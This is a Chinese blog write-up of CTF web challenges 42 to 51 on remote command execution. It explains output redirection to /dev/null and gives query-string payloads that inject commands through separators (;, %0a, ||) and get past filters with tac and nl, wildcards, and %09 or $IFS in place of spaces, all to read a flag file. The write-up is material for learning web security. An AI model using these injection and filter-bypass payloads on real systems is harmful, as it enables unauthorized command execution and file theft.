首页 > 其他分享 >远程命令执行第二天

远程命令执行第二天

时间:2023-05-24 16:48:44浏览次数:48  
标签:输出 url flag cmd1 cmd2 命令 第二天 ls 远程

42

image-20230509114743916

shell脚本——>/dev/null 2>&1 详解

含义:>代表重定向到哪

/dev/null空设备文件,所有写入的内容都会丢失,俗称黑洞

1表示stdout标准输出,系统默认值为1,>/dev/null等同于1>/dev/null

2表示stderr标准错误

&表示等同于,2>&1表示2的输出定向等同于1

解释:命令1>/dev/null 首先表示标准输出重定向到空设备文件也就是丢弃标准输出。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也被丢弃。

所以该shell命令不会输出任何信息,不回显。https://www.cnblogs.com/ultranms/p/9353157.html

法一:用 ; 截断

url/?c=ls;

url/?c=cat flag.php;

法二:hint用%0a截断

url/?c=cat flag.php%0a 看源码

法三:用命令分隔符||截断
在这里插入图片描述

cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2

若用|则显示第二个命令,即不回显,c输入的是第一个命令

43

image-20230509115046670

比上一题多了cat ; 过滤

执行命令url/?c=tac flag.php%0a

或者执行url/?c=nl flag.php%0a 看源码

nl命令:输出文件内容并自动加上行号

44

image-20230509115251484

flag用通配符

45

在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

payload   ?c=nl%09f???.ph?||ls

46

image-20230509185711289

过滤了 ; cat flag * $ [0-9] 空格

payload:?c=nl%09f???????||ls

47

image-20230509185936914

payload ?c=nl%09f???.php||ls

48

image-20230509190329304

同上

49

image-20230509190644366同上

%09是url编码,不算入过滤的%中,%26是&的url编码????

?c=nl%09f???????||ls 十六进制的空格因该也是可以????

50和51同理

/?c=nl<f%27%27lag.php||ls 闭合的时候一定要是两个'

标签:输出,url,flag,cmd1,cmd2,命令,第二天,ls,远程
From: https://www.cnblogs.com/vaneshadow/p/17428788.html

相关文章

  • php特性第二天
    99array_push()函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。该函数等于多次调用$array[]=$value。in_array()函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞没有设置第三个参数就可以形成自动转换)file_put_contents()函......
  • linux 查看日志常用命令
    查看日志:查看上下10行:grep-C10'NullPointerException'logback.log当然也可以只看上面10行:grep-B10'NullPointerException'logback.log或者下面10行:grep-A10'NullPointerException'logback.loglinux通过grep根据关键字查找日志文件上下文 1、在标......
  • 用命令行工具运行java文件
     1、若java文件有packagepackagequitStu;publicclassMain{publicstaticvoidmain(String[]args){for(Stringstr:args){if(str.equals("11")){System.out.println("-v1.0");brea......
  • 微服务框架SpringCloud-2-服务拆分及远程调用-2.2服务远程调用
    微服务框架SpringCloud2服务拆分及远程调用2.2服务远程调用2.2.1根据订单id查询订单功能需求:根据订单id查询订单的同时,把订单所属的用户信息一起返回现在是不能做到的, 可以看到现在user是个null【所以没有达到需求】现在的情况是下面的样子  但是需求想要的......
  • linux命令之-mount
    [root@localhost~]#manmountMOUNT(8)                  LinuxProgrammer’sManual                 MOUNT(8)NAME      mount-mountafilesystemSYNOPSIS      mount[-lhV]......
  • Linux系统常用命令速查手册
    系统信息arch      #显示机器的处理器架构(1)uname -m  #显示机器的处理器架构(2)uname -r  #显示正在使用的内核版本dmidecode -q        #显示硬件系统部件 - (SMBIOS / DMI)hdparm -i /dev/hda  #罗列一个磁盘的架构特性hdparm -tT /dev/s......
  • linux最全网络监控命令梳理及评测
    linux最全网络监控命令梳理及评测文章目录linux最全网络监控命令梳理及评测1iptraf2nload3iftop4dstat5nethogs6bmon7更多工具列表8评测小结9参考链接1iptraf通过iptraf观察流量效果非常直观,如下所示是cenos安装的命令:yuminstalliptraf安装成功后,可以通过如下命令查......
  • 提交项目到git远程仓库
    提交项目到github远程仓库点击VCS--》ShareprojectonGithub相关信息配置:修改完,点击share点击add等待完成。打开浏览器查看,可以发现我们的仓库里出现了刚刚提交的项目。等我们对IDEA项目进行了修改,新增文件等操作时,可以看到修改地方的蓝色提示,绿色则是新增。......
  • Mininet拓扑构建与命令使用
    实验目的1、通过命令模拟创建SDN网络。2、深入了解Mininet的命令使用。3、学会使用网络构建启动参数、内部交互命令及外部运行参数。实验环境Mininet拓扑构建与命令使用实验拓扑如下图所示。设备名称软件环境硬件环境主机Mininet_2.2.0_desktop_cv1.1CPU:1核内......
  • 【linux】top命令常用方法
    一、简介top命令是一款用于实时监控系统进程和资源占用情况的命令行工具。它可以显示系统已经运行的进程列表,并实时更新各进程的CPU、内存、I/O等使用情况。二、语法~$top--helptop:inappropriate'-help'Usage:top-hv|-bcHiOSs-dsecs-nmax-u|Uuser-ppid(s......